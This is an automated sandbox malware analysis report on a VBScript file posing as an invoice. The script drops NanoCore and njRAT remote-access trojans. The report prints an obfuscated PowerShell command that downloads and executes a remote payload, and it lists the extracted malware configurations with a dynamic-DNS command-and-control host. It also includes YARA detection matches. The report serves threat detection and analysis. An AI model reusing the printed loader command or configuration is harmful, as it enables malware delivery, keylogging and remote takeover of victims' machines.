Play interactive tour

Edit tour

Windows Analysis Report 3G1J49A6V_Invoice.vbs

Overview

General Information

Sample Name:	3G1J49A6V_Invoice.vbs
Analysis ID:	458883
MD5:	2da417ae523148f7d65220a2c44d1a0a
SHA1:	7173fc941d4c051cf4bf5b1eac46aa33f2e6b798
SHA256:	c3ddf55e53888193522a7b619370b746cb0a79502c5157a98754a9009f644a11
Tags:	vbs
Infos:
Most interesting Screenshot:

Detection

Nanocore Njrat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Nanocore Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: NanoCore

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

VBScript performs obfuscated calls to suspicious functions

Yara detected Nanocore RAT

Yara detected Njrat

Yara detected Powershell download and execute

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

C2 URLs / IPs found in malware configuration

Creates an undocumented autostart registry key

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Obfuscated command line found

Sigma detected: Suspicious PowerShell Command Line

Uses dynamic DNS services

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6628 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

powershell.exe (PID: 6756 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX'); MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

aspnet_compiler.exe (PID: 6900 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)

aspnet_compiler.exe (PID: 7072 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)

aspnet_compiler.exe (PID: 6664 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)

aspnet_compiler.exe (PID: 5596 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)

cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "401b59fa-a7f2-4468-a03b-04e3bc48", "Group": "NEW JAN", "Domain1": "newjan.duckdns.org", "Domain2": "newjan.duckdns.org", "Port": 6700, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Disable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4"}

Threatname: Njrat

{"Install Dir": "Windows", "Registry Value": "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Campaign ID": "HacKed", "Version": "v4.0", "Network Seprator": "|-F-|", "Host": "https://gro.sndkcud.armognad"}

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Documents\20210803\PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.652005586.000002534BC55000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x51f2:$s1: POWERsHELL
00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x55cff:$a: NanoCore 0x55de9:$a: NanoCore 0x56c60:$a: NanoCore 0x5fe0a:$a: NanoCore 0x5fe6b:$a: NanoCore 0x5feae:$a: NanoCore 0x5feee:$a: NanoCore 0x6012a:$a: NanoCore 0x601ca:$a: NanoCore 0x609a2:$a: NanoCore 0x60f95:$a: NanoCore 0x610e6:$a: NanoCore 0x61f40:$a: NanoCore 0x621a7:$a: NanoCore 0x621bc:$a: NanoCore 0x621db:$a: NanoCore 0x6b0de:$a: NanoCore 0x6b107:$a: NanoCore 0x76e80:$a: NanoCore 0x76ea9:$a: NanoCore 0x9bd6c:$a: NanoCore
00000001.00000003.651067855.000002534BC5B000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x15a0:$s1: POWERsHELL
00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000016.00000002.1171008020.0000000000402000.00000040.00000001.sdmp	Njrat	detect njRAT in memory	JPCERT/CC Incident Response Group	0x58c6:$reg: SEE_MASK_NOZONECHECKS 0x56b8:$msg: Execute ERROR 0x56fa:$msg: Execute ERROR 0x5aa1:$ping: cmd.exe /c ping 0 -n 2 & del
00000001.00000002.652059892.000002534D420000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xd70:$s1: POWERsHELL
00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x21642:$a: NanoCore 0x21667:$a: NanoCore 0x216c0:$a: NanoCore 0x31873:$a: NanoCore 0x31899:$a: NanoCore 0x318f5:$a: NanoCore 0x3e75b:$a: NanoCore 0x3e7b4:$a: NanoCore 0x3e7e7:$a: NanoCore 0x3ea13:$a: NanoCore 0x3ea8f:$a: NanoCore 0x3f0a8:$a: NanoCore 0x3f1f1:$a: NanoCore 0x3f6c5:$a: NanoCore 0x3f9ac:$a: NanoCore 0x3f9c3:$a: NanoCore 0x48873:$a: NanoCore 0x488ef:$a: NanoCore 0x4b1d2:$a: NanoCore 0x4f950:$a: NanoCore 0x4f99a:$a: NanoCore
Process Memory Space: aspnet_compiler.exe PID: 7072	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x908c:$x1: NanoCore.ClientPluginHost 0x91e4:$x2: IClientNetworkHost 0x9e1f0:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0xa881f:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: aspnet_compiler.exe PID: 7072	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 7072	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x908c:$a: NanoCore 0x9176:$a: NanoCore 0x9f9f:$a: NanoCore 0xb148:$a: NanoCore 0xb223:$a: NanoCore 0xbf95:$a: NanoCore 0xd883:$a: NanoCore 0xd89b:$a: NanoCore 0xd8cd:$a: NanoCore 0xd8ff:$a: NanoCore 0xdf9c:$a: NanoCore 0xdfc5:$a: NanoCore 0xe010:$a: NanoCore 0xe06b:$a: NanoCore 0xe0a8:$a: NanoCore 0xe0e3:$a: NanoCore 0xe2f8:$a: NanoCore 0xe38d:$a: NanoCore 0xeace:$a: NanoCore 0xf045:$a: NanoCore 0xf189:$a: NanoCore
Process Memory Space: aspnet_compiler.exe PID: 5596	JoeSecurity_Njrat	Yara detected Njrat	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
20.3.aspnet_compiler.exe.3c78ad1.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1a53c:$x1: NanoCore.ClientPluginHost 0x2997c:$x1: NanoCore.ClientPluginHost 0x1a556:$x2: IClientNetworkHost 0x299b9:$x2: IClientNetworkHost
20.3.aspnet_compiler.exe.3c78ad1.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1a53c:$x2: NanoCore.ClientPluginHost 0x2997c:$x2: NanoCore.ClientPluginHost 0x1d879:$s4: PipeCreated 0x2cdcf:$s4: PipeCreated 0x1a529:$s5: IClientLoggingHost 0x299a6:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x39eb:$x1: NanoCore.ClientPluginHost 0xe9c8:$x1: NanoCore.ClientPluginHost 0x1a76a:$x1: NanoCore.ClientPluginHost 0x3f66e:$x1: NanoCore.ClientPluginHost 0x4eaae:$x1: NanoCore.ClientPluginHost 0x3a24:$x2: IClientNetworkHost 0xe9e2:$x2: IClientNetworkHost 0x1a784:$x2: IClientNetworkHost 0x3f688:$x2: IClientNetworkHost 0x4eaeb:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x39eb:$x2: NanoCore.ClientPluginHost 0xe9c8:$x2: NanoCore.ClientPluginHost 0x1a76a:$x2: NanoCore.ClientPluginHost 0x3f66e:$x2: NanoCore.ClientPluginHost 0x4eaae:$x2: NanoCore.ClientPluginHost 0x3b36:$s4: PipeCreated 0xf9fd:$s4: PipeCreated 0x1c515:$s4: PipeCreated 0x429ab:$s4: PipeCreated 0x51f01:$s4: PipeCreated 0x3a05:$s5: IClientLoggingHost 0xe9b5:$s5: IClientLoggingHost 0x1a757:$s5: IClientLoggingHost 0x3f65b:$s5: IClientLoggingHost 0x4ead8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x36cb:$a: NanoCore 0x372c:$a: NanoCore 0x376f:$a: NanoCore 0x37af:$a: NanoCore 0x39eb:$a: NanoCore 0x3a8b:$a: NanoCore 0x4263:$a: NanoCore 0x4856:$a: NanoCore 0x49a7:$a: NanoCore 0x5801:$a: NanoCore 0x5a68:$a: NanoCore 0x5a7d:$a: NanoCore 0x5a9c:$a: NanoCore 0xe99f:$a: NanoCore 0xe9c8:$a: NanoCore 0x1a741:$a: NanoCore 0x1a76a:$a: NanoCore 0x3f62d:$a: NanoCore 0x3f645:$a: NanoCore 0x3f66e:$a: NanoCore 0x4ea71:$a: NanoCore
22.2.aspnet_compiler.exe.400000.0.unpack	CN_disclosed_20180208_c	Detects malware from disclosed CN malware set	Florian Roth	0x5ca1:$x1: cmd.exe /c ping 0 -n 2 & del " 0x58e0:$s3: Executed As 0x4305:$s5: Stub.exe
22.2.aspnet_compiler.exe.400000.0.unpack	Njrat	detect njRAT in memory	JPCERT/CC Incident Response Group	0x5ac6:$reg: SEE_MASK_NOZONECHECKS 0x58b8:$msg: Execute ERROR 0x58fa:$msg: Execute ERROR 0x5ca1:$ping: cmd.exe /c ping 0 -n 2 & del
20.2.aspnet_compiler.exe.3c5399f.15.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1deb:$x1: NanoCore.ClientPluginHost 0x1e24:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3c5399f.15.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1deb:$x2: NanoCore.ClientPluginHost 0x1f36:$s4: PipeCreated 0x1e05:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3c5399f.15.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x39eb:$x1: NanoCore.ClientPluginHost 0x3a24:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3c5399f.15.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x39eb:$x2: NanoCore.ClientPluginHost 0x3b36:$s4: PipeCreated 0x3a05:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3b7156e.12.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x3d99:$x1: NanoCore.ClientPluginHost 0xcd3b:$x1: NanoCore.ClientPluginHost 0x3db3:$x2: IClientNetworkHost 0xcd55:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b7156e.12.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x3d99:$x2: NanoCore.ClientPluginHost 0xcd3b:$x2: NanoCore.ClientPluginHost 0x4dce:$s4: PipeCreated 0x3d86:$s5: IClientLoggingHost 0xcd28:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.2855cf4.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x6da5:$x1: NanoCore.ClientPluginHost 0x6dd2:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.2855cf4.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x6da5:$x2: NanoCore.ClientPluginHost 0x7d74:$s2: FileCommand 0xc776:$s4: PipeCreated 0x6dbf:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3c47574.16.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x59eb:$x1: NanoCore.ClientPluginHost 0xfe16:$x1: NanoCore.ClientPluginHost 0x5b48:$x2: IClientNetworkHost 0xfe4f:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3c47574.16.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x59eb:$x2: NanoCore.ClientPluginHost 0xfe16:$x2: NanoCore.ClientPluginHost 0x6941:$s3: PipeExists 0x5be1:$s4: PipeCreated 0xff61:$s4: PipeCreated 0x5a05:$s5: IClientLoggingHost 0xfe30:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3a25794.10.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x41ee:$x1: NanoCore.ClientPluginHost 0x422b:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3a25794.10.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x41ee:$x2: NanoCore.ClientPluginHost 0x7641:$s4: PipeCreated 0x4218:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.2849aac.3.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x2dbb:$x1: NanoCore.ClientPluginHost 0x2de5:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.2849aac.3.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x2dbb:$x2: NanoCore.ClientPluginHost 0x4c6b:$s4: PipeCreated
20.2.aspnet_compiler.exe.3828a18.7.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3828a18.7.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3828a18.7.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
20.3.aspnet_compiler.exe.3c73e32.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1f1db:$x1: NanoCore.ClientPluginHost 0x2e61b:$x1: NanoCore.ClientPluginHost 0x1f1f5:$x2: IClientNetworkHost 0x2e658:$x2: IClientNetworkHost
20.3.aspnet_compiler.exe.3c73e32.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1f1db:$x2: NanoCore.ClientPluginHost 0x2e61b:$x2: NanoCore.ClientPluginHost 0x22518:$s4: PipeCreated 0x31a6e:$s4: PipeCreated 0x1f1c8:$s5: IClientLoggingHost 0x2e645:$s5: IClientLoggingHost
20.3.aspnet_compiler.exe.3c73e32.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1d3db:$x1: NanoCore.ClientPluginHost 0x1d3f5:$x2: IClientNetworkHost
20.3.aspnet_compiler.exe.3c73e32.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1d3db:$x2: NanoCore.ClientPluginHost 0x20718:$s4: PipeCreated 0x1d3c8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3b6873f.11.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1deb:$x1: NanoCore.ClientPluginHost 0x1e24:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b6873f.11.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1deb:$x2: NanoCore.ClientPluginHost 0x1f36:$s4: PipeCreated 0x1e05:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3a33bb0.9.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1d3db:$x1: NanoCore.ClientPluginHost 0x1d3f5:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3a33bb0.9.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1d3db:$x2: NanoCore.ClientPluginHost 0x20718:$s4: PipeCreated 0x1d3c8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3b7f99e.13.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x170b:$x1: NanoCore.ClientPluginHost 0x1725:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b7f99e.13.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x170b:$x2: NanoCore.ClientPluginHost 0x34b6:$s4: PipeCreated 0x16f8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3c47574.16.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x3deb:$x1: NanoCore.ClientPluginHost 0xb016:$x1: NanoCore.ClientPluginHost 0x3f48:$x2: IClientNetworkHost 0xb04f:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3c47574.16.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x3deb:$x2: NanoCore.ClientPluginHost 0xb016:$x2: NanoCore.ClientPluginHost 0x4d41:$s3: PipeExists 0x3fe1:$s4: PipeCreated 0xb161:$s4: PipeCreated 0x3e05:$s5: IClientLoggingHost 0xb030:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3a33bb0.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1f1db:$x1: NanoCore.ClientPluginHost 0x1f1f5:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3a33bb0.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1f1db:$x2: NanoCore.ClientPluginHost 0x22518:$s4: PipeCreated 0x1f1c8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3a3884f.8.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1a53c:$x1: NanoCore.ClientPluginHost 0x1a556:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3a3884f.8.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1a53c:$x2: NanoCore.ClientPluginHost 0x1d879:$s4: PipeCreated 0x1a529:$s5: IClientLoggingHost
20.3.aspnet_compiler.exe.3c6abfe.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x170b:$x1: NanoCore.ClientPluginHost 0x1725:$x2: IClientNetworkHost
20.3.aspnet_compiler.exe.3c6abfe.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x170b:$x2: NanoCore.ClientPluginHost 0x34b6:$s4: PipeCreated 0x16f8:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.382d041.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.382d041.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.382d041.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
20.3.aspnet_compiler.exe.3c6abfe.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x350b:$x1: NanoCore.ClientPluginHost 0x2840f:$x1: NanoCore.ClientPluginHost 0x3784f:$x1: NanoCore.ClientPluginHost 0x3525:$x2: IClientNetworkHost 0x28429:$x2: IClientNetworkHost 0x3788c:$x2: IClientNetworkHost
20.3.aspnet_compiler.exe.3c6abfe.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x350b:$x2: NanoCore.ClientPluginHost 0x2840f:$x2: NanoCore.ClientPluginHost 0x3784f:$x2: NanoCore.ClientPluginHost 0x52b6:$s4: PipeCreated 0x2b74c:$s4: PipeCreated 0x3aca2:$s4: PipeCreated 0x34f8:$s5: IClientLoggingHost 0x283fc:$s5: IClientLoggingHost 0x37879:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.2816288.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.2816288.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3828a18.7.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3828a18.7.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3828a18.7.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x8ba5:$x1: NanoCore.ClientPluginHost 0x15d1f:$x1: NanoCore.ClientPluginHost 0x1fb7f:$x1: NanoCore.ClientPluginHost 0x26c5c:$x1: NanoCore.ClientPluginHost 0x2cef5:$x1: NanoCore.ClientPluginHost 0x37513:$x1: NanoCore.ClientPluginHost 0x4194f:$x1: NanoCore.ClientPluginHost 0x4c941:$x1: NanoCore.ClientPluginHost 0x586f7:$x1: NanoCore.ClientPluginHost 0x6444e:$x1: NanoCore.ClientPluginHost 0x8bd2:$x2: IClientNetworkHost 0x15d58:$x2: IClientNetworkHost 0x1fbb8:$x2: IClientNetworkHost 0x2cf2e:$x2: IClientNetworkHost 0x37670:$x2: IClientNetworkHost 0x41988:$x2: IClientNetworkHost 0x4c95b:$x2: IClientNetworkHost 0x58711:$x2: IClientNetworkHost 0x6448b:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x8ba5:$x2: NanoCore.ClientPluginHost 0x15d1f:$x2: NanoCore.ClientPluginHost 0x1fb7f:$x2: NanoCore.ClientPluginHost 0x26c5c:$x2: NanoCore.ClientPluginHost 0x2cef5:$x2: NanoCore.ClientPluginHost 0x37513:$x2: NanoCore.ClientPluginHost 0x4194f:$x2: NanoCore.ClientPluginHost 0x4c941:$x2: NanoCore.ClientPluginHost 0x586f7:$x2: NanoCore.ClientPluginHost 0x6444e:$x2: NanoCore.ClientPluginHost 0x9b74:$s2: FileCommand 0x38469:$s3: PipeExists 0xe576:$s4: PipeCreated 0x15e3c:$s4: PipeCreated 0x1fc83:$s4: PipeCreated 0x26d3a:$s4: PipeCreated 0x2d010:$s4: PipeCreated 0x37709:$s4: PipeCreated 0x41a9a:$s4: PipeCreated 0x4d976:$s4: PipeCreated 0x5a4a2:$s4: PipeCreated
20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x8b7f:$a: NanoCore 0x8ba5:$a: NanoCore 0x8c01:$a: NanoCore 0x15a67:$a: NanoCore 0x15ac0:$a: NanoCore 0x15af3:$a: NanoCore 0x15d1f:$a: NanoCore 0x15d9b:$a: NanoCore 0x163b4:$a: NanoCore 0x164fd:$a: NanoCore 0x169d1:$a: NanoCore 0x16cb8:$a: NanoCore 0x16ccf:$a: NanoCore 0x1fb7f:$a: NanoCore 0x1fbfb:$a: NanoCore 0x224de:$a: NanoCore 0x26c5c:$a: NanoCore 0x26ca6:$a: NanoCore 0x27900:$a: NanoCore 0x2cef5:$a: NanoCore 0x2cf6f:$a: NanoCore
20.2.aspnet_compiler.exe.3a25794.10.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x5fee:$x1: NanoCore.ClientPluginHost 0x2d5f7:$x1: NanoCore.ClientPluginHost 0x602b:$x2: IClientNetworkHost 0x2d611:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3a25794.10.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x5fee:$x2: NanoCore.ClientPluginHost 0x2d5f7:$x2: NanoCore.ClientPluginHost 0x9441:$s4: PipeCreated 0x30934:$s4: PipeCreated 0x6018:$s5: IClientLoggingHost 0x2d5e4:$s5: IClientLoggingHost
